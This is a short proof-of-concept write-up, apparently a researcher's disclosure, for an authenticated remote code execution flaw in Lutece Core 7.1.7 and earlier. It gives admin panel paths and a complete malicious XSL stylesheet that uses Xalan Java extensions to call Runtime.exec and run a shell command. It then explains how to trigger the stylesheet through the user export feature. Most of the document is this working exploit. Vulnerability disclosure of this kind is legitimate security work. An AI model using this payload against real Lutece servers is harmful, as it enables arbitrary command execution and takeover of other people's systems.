Lutece Core 7.1.7 Remote Code Execution

# CVE-2026-4813 (CVSS-B 9.4 CRITICAL)
    
    ## Authenticated RCE via XSLT injection in Lutece Core <= 7.1.7
    
    \> Explanations and more on my [website](https://trachinus.fr) <
    
    ## PoC
    You need an account with admin privileges.
    
    1. On the admin panel, navigate to the XSL export management page : 
       `/jsp/admin/AdminTechnicalMenu.jsp?tab=xslexportManagement#xslexport`
    
    3. Click on "Add a new transformation sheet".
    
    4. Upload an `.xsl` file with the payload (simple `id` command) :
    
    ```xml
    <?xml version="1.0" encoding="UTF-8"?>
    <xsl:stylesheet version="1.0" 
        xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
        xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime"
        xmlns:proc="http://xml.apache.org/xalan/java/java.lang.Process"
        xmlns:is="http://xml.apache.org/xalan/java/java.io.InputStreamReader"
        xmlns:br="http://xml.apache.org/xalan/java/java.io.BufferedReader">
        
        <xsl:template match="/">
            <xsl:variable name="process" select="rt:exec(rt:getRuntime(), 'id')"/>
            <xsl:variable name="inputStream" select="proc:getInputStream($process)"/>
            
            <xsl:variable name="reader" select="is:new($inputStream)"/>
            <xsl:variable name="buffereReader" select="br:new($reader)"/>
            <xsl:variable name="resultat" select="br:readLine($buffereReader)"/>
            
            <Output>
                <xsl:value-of select="$resultat"/>
            </Output>
        </xsl:template>
    </xsl:stylesheet>
    ```
    
    5. Save the new XSL sheet.
    
    6. Navigate to the export users page :
    `/jsp/admin/user/ExportUsers.jsp`
    
    7. Select the transformation sheet that we just created and validate.
    
    8. The result of the `id` command should be in the exported file.